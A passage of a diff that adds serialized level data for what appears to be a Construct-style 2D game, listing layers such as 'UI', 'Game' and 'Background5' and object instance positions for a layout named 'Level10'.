+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7229,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4300,
+ 1031,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7230,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4198,
+ 643,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7231,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4198,
+ 574,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7232,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4637,
+ 705,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7233,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4925,
+ 744,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7234,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5158,
+ 842,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7235,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5407,
+ 936,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7236,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5752,
+ 842,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7237,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1823.914794921875,
+ 565.5264892578125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7238,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1901.586059570313,
+ 487.8801574707031,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1903.190185546875,
+ 487.8340759277344,
+ 0,
+ 84.9051513671875,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7240,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1863.742553710938,
+ 565.7508544921875,
+ 0,
+ 162.822998046875,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7241,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3200.5,
+ 1423,
+ 0,
+ 6909,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 7242,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2022.44091796875,
+ 340.4554138183594,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6712,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5569.44677734375,
+ 947.4323120117188,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6775,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 789941081321845,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 268947136614150,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 7244,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 7245,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 7246,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 7247,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401,
+ 63,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 7249,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388,
+ 0,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 7250,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27,
+ 23,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 7251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119,
+ 26,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 7252,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 26,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 7253,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870,
+ -98,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 7254,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 7255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 421,
+ 25,
+ 0,
+ 123,
+ 37,
+ 0,
+ 0,
+ 1,
+ 0.6666666865348816,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 524,
+ 2945,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407.1738891601563,
+ 238.2965240478516,
+ 0,
+ 848,
+ 530,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 7243,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 734998863925472,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 211000893436395,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level10",
+ 5400,
+ 1500,
+ false,
+ "Gameplay1",
+ 745200088733329,
+ [
+ [
+ "fondo",
+ 0,
+ 281203009171902,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -9,
+ -14,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 3494,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 731037697012736,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 3530,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 3555,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5417.18359375,
+ 493.0818786621094,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 3556,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 749,
+ 0,
+ 40,
+ 1514,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 3647,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 425558124471019,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 280,
+ 109,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 3648,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 144910262189458,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 183134864011984,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5,
+ 737,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3649,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 331,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1038,
+ 1005,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3789,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2926,
+ 925,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3790,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3680,
+ 1009,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3791,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3772,
+ 940,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3802,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4385,
+ 1107,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4856,
+ 1043,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3838,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5102,
+ 1140,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2095,
+ 1058,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3846,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1749,
+ 1004,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 3847,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740,
+ 1272,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3848,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4068,
+ 1377,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3887,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3150,
+ 1240,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3888,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1779,
+ 528,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3970,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354,
+ 835,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3971,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 256,
+ 749,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3972,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 193,
+ 2468,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3973,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4674,
+ 1317,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3974,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5038,
+ 1348,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3975,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 696473513104220,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 209,
+ 961,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3976,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 316,
+ 1115,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3977,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 9,
+ 712,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3978,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 265,
+ 738,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 3979,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 82,
+ 737,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3980,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5425,
+ 845,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3981,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5393.8017578125,
+ 642.5233764648438,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 3982,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4831,
+ 645,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3985,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4364.44921875,
+ 641.0987548828125,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3986,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4318,
+ 673,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3987,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4286.5546875,
+ 639.7381591796875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 3988,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900,
+ 851,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 3989,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
